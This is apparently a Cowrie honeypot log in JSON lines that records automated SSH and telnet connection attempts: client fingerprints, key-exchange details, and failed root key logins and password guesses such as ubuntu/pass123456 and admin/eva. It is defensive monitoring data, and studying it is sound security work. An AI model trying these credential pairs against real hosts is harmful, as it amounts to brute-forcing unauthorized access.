{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:10:1b:5e:80:0d:88:56:e1:31:7a:a9:6a:bb:c3:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3zmv3JbhDZf4+tkXcfU2j9/2elmmWlXVtFy8QcXLj3U29jI+Xbwz1TW3CZYZ+D3sbaHnMYMKwURU9atsj2jk2L0JNzkkxkiqvmQ1dCL248WZ7YF2MT5V4YbzKgjT6VpjlCxj93gCuXE/ppgVElKUQ+oi3NO4olMLllV9gD0uLpo0ylfZLdw4bG5HlT2GistPhWIY4kV76UR4X2P5Cy2Gugf3ogtsLDw8Lg1sOsgvIkofjtVM+TTPnrlqR1r9o1uAciGmeVDbmerlDE7hbRzwleI6OQnkhAFPuEh+cqBX9glJ9lTGHNI/P/YRoSY7tJ3SmU+tkgTq02V3Ty00d6pj3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:10:1b:5e:80:0d:88:56:e1:31:7a:a9:6a:bb:c3:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.583299Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:10:1b:5e:80:0d:88:56:e1:31:7a:a9:6a:bb:c3:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3zmv3JbhDZf4+tkXcfU2j9/2elmmWlXVtFy8QcXLj3U29jI+Xbwz1TW3CZYZ+D3sbaHnMYMKwURU9atsj2jk2L0JNzkkxkiqvmQ1dCL248WZ7YF2MT5V4YbzKgjT6VpjlCxj93gCuXE/ppgVElKUQ+oi3NO4olMLllV9gD0uLpo0ylfZLdw4bG5HlT2GistPhWIY4kV76UR4X2P5Cy2Gugf3ogtsLDw8Lg1sOsgvIkofjtVM+TTPnrlqR1r9o1uAciGmeVDbmerlDE7hbRzwleI6OQnkhAFPuEh+cqBX9glJ9lTGHNI/P/YRoSY7tJ3SmU+tkgTq02V3Ty00d6pj3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.588869Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:b9:2e:1e:1f:10:af:16:b7:c6:b4:5e:ed:c5:0a:a7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIN441OuhqcDalnDSaVXlOyvGso0zNpKifUT0pAfFQdAn4jiHyKQFFXTH8y99iVuPVySPC4wIzvY41BS9seoGMUTWqoP4QLVb0tc2z7Eg+tK1lR6lILhvCMxwHQju3UREGBAWzILrzKc8te/dN/QKGlFXZzoxSj+0PZwWLZLCzjdAAAAFQDz0T5hqC42rvJ76dUPYE2zb3bYQQAAAIB2ggeonDVP0DpBBO2KWtqqUFge2f6/cCPqh7Gqgd3AN9cYpjK+poVs6YR0W/mtFU1VEJm+Vl3UGUjzOpoOaqwyl3gR8vIfNh5JJ1a9/rwejoBOkRNKLx/dPVed6aUk3nTa7xaixqW49ZLtGEWWSsv+klS4irxRHXC87aTilkefBAAAAIBIQlx6jRYY1oohvpm+uvZ0CnTFFux1zG5XpmeQN3QtZ22EBw6ZML+daQ4XbERVOTeA8LWJwJk2WGikfn4RlwF4AE8xYdeD2DJNx4TIAHaNt6UioGiiLgAv7duXLi+/rgNOMXvnJSZ/K1xberQcmizz7IR3tdEsVf/jD0QtD23oog==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d5:b9:2e:1e:1f:10:af:16:b7:c6:b4:5e:ed:c5:0a:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.684423Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:b9:2e:1e:1f:10:af:16:b7:c6:b4:5e:ed:c5:0a:a7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIN441OuhqcDalnDSaVXlOyvGso0zNpKifUT0pAfFQdAn4jiHyKQFFXTH8y99iVuPVySPC4wIzvY41BS9seoGMUTWqoP4QLVb0tc2z7Eg+tK1lR6lILhvCMxwHQju3UREGBAWzILrzKc8te/dN/QKGlFXZzoxSj+0PZwWLZLCzjdAAAAFQDz0T5hqC42rvJ76dUPYE2zb3bYQQAAAIB2ggeonDVP0DpBBO2KWtqqUFge2f6/cCPqh7Gqgd3AN9cYpjK+poVs6YR0W/mtFU1VEJm+Vl3UGUjzOpoOaqwyl3gR8vIfNh5JJ1a9/rwejoBOkRNKLx/dPVed6aUk3nTa7xaixqW49ZLtGEWWSsv+klS4irxRHXC87aTilkefBAAAAIBIQlx6jRYY1oohvpm+uvZ0CnTFFux1zG5XpmeQN3QtZ22EBw6ZML+daQ4XbERVOTeA8LWJwJk2WGikfn4RlwF4AE8xYdeD2DJNx4TIAHaNt6UioGiiLgAv7duXLi+/rgNOMXvnJSZ/K1xberQcmizz7IR3tdEsVf/jD0QtD23oog==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.691322Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:62:f3:7c:37:9c:69:2a:78:6e:03:8d:ee:27:7c:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy2W4LAjySuXBbVyDnJBXHIo7fORXPGAbV9FZ63+YKEZCHNMTf1mRjC0Vi5wZwPG82gbk0yrupXHgpHIIFtzI21RQqI9itIXe3fS/WcvwRlngcAo38Al8XQl3owoTBlNAj8m+gMvdebgkK/xfC9YTOgzts3xS1JG39T7kqWDHwuGW6ewTb1PijiPDu9ra5O5nDYtXFbALEkMnU50BcKzhd3SPCs+rdNPiw9CUhFzq+bmmT49gxcBqHSg+nb9fzx8P7WMJ+Drh7EH2bX03vNrRA7lwq0r3XdXIxnAXPoQtpJFDV32xuOdzxMb8hU89apSdPfuzyM6j+EMo57ILF6KLnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:62:f3:7c:37:9c:69:2a:78:6e:03:8d:ee:27:7c:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.794933Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:62:f3:7c:37:9c:69:2a:78:6e:03:8d:ee:27:7c:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy2W4LAjySuXBbVyDnJBXHIo7fORXPGAbV9FZ63+YKEZCHNMTf1mRjC0Vi5wZwPG82gbk0yrupXHgpHIIFtzI21RQqI9itIXe3fS/WcvwRlngcAo38Al8XQl3owoTBlNAj8m+gMvdebgkK/xfC9YTOgzts3xS1JG39T7kqWDHwuGW6ewTb1PijiPDu9ra5O5nDYtXFbALEkMnU50BcKzhd3SPCs+rdNPiw9CUhFzq+bmmT49gxcBqHSg+nb9fzx8P7WMJ+Drh7EH2bX03vNrRA7lwq0r3XdXIxnAXPoQtpJFDV32xuOdzxMb8hU89apSdPfuzyM6j+EMo57ILF6KLnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.798997Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.892391Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37460,"dst_ip":"159.203.135.109","dst_port":22,"session":"6be838f695f0","protocol":"ssh","message":"New connection: 2.57.122.208:37460 (159.203.135.109:22) [session: 6be838f695f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:30.025401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:30.126688Z","src_ip":"2.57.122.208","session":"6be838f695f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:30.225215Z","src_ip":"2.57.122.208","session":"6be838f695f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:30.926559Z","src_ip":"2.57.122.208","session":"6be838f695f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:32.340240Z","src_ip":"2.57.122.208","session":"6be838f695f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":36466,"dst_ip":"159.203.135.109","dst_port":22,"session":"51bd47430bd9","protocol":"ssh","message":"New connection: 201.6.100.191:36466 (159.203.135.109:22) [session: 51bd47430bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:51.215610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:51.219885Z","src_ip":"201.6.100.191","session":"51bd47430bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:51.349392Z","src_ip":"201.6.100.191","session":"51bd47430bd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passw0rd1","message":"login attempt [ubuntu/passw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:51.905759Z","src_ip":"201.6.100.191","session":"51bd47430bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":36264,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef2e07e4b1f","protocol":"ssh","message":"New connection: 154.81.14.172:36264 (10.17.0.5:22) [session: 2ef2e07e4b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:52.561613Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:53.038265Z","src_ip":"201.6.100.191","session":"51bd47430bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":44806,"dst_ip":"10.17.0.5","dst_port":22,"session":"06a95ce7e392","protocol":"ssh","message":"New connection: 181.97.227.163:44806 (10.17.0.5:22) [session: 06a95ce7e392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:57.401399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:57.406370Z","src_ip":"181.97.227.163","session":"06a95ce7e392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:57.615629Z","src_ip":"181.97.227.163","session":"06a95ce7e392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass123456","message":"login attempt [ubuntu/pass123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:58.478545Z","src_ip":"181.97.227.163","session":"06a95ce7e392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:59.689577Z","src_ip":"181.97.227.163","session":"06a95ce7e392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":35050,"dst_ip":"159.203.135.109","dst_port":22,"session":"e15b69271527","protocol":"ssh","message":"New connection: 103.158.40.65:35050 (159.203.135.109:22) [session: e15b69271527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:04.095794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:04.100340Z","src_ip":"103.158.40.65","session":"e15b69271527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:04.325452Z","src_ip":"103.158.40.65","session":"e15b69271527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eva","message":"login attempt [admin/eva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:05.257854Z","src_ip":"103.158.40.65","session":"e15b69271527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:06.486887Z","src_ip":"103.158.40.65","session":"e15b69271527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39656,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fc9db8368f8","protocol":"ssh","message":"New connection: 103.125.103.201:39656 (10.17.0.5:22) [session: 3fc9db8368f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:07.714853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:07.719467Z","src_ip":"103.125.103.201","session":"3fc9db8368f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:07.960810Z","src_ip":"103.125.103.201","session":"3fc9db8368f8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:08.555339Z","src_ip":"154.81.14.172","session":"2ef2e07e4b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:08.559489Z","src_ip":"154.81.14.172","session":"2ef2e07e4b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:08.565632Z","src_ip":"154.81.14.172","session":"2ef2e07e4b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"Aa123456","message":"login attempt [amir/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:08.959054Z","src_ip":"103.125.103.201","session":"3fc9db8368f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:10.203545Z","src_ip":"103.125.103.201","session":"3fc9db8368f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":45636,"dst_ip":"10.17.0.5","dst_port":23,"session":"a272e3a25dc6","protocol":"telnet","message":"New connection: 180.235.129.180:45636 (10.17.0.5:23) [session: a272e3a25dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:10.973751Z"}
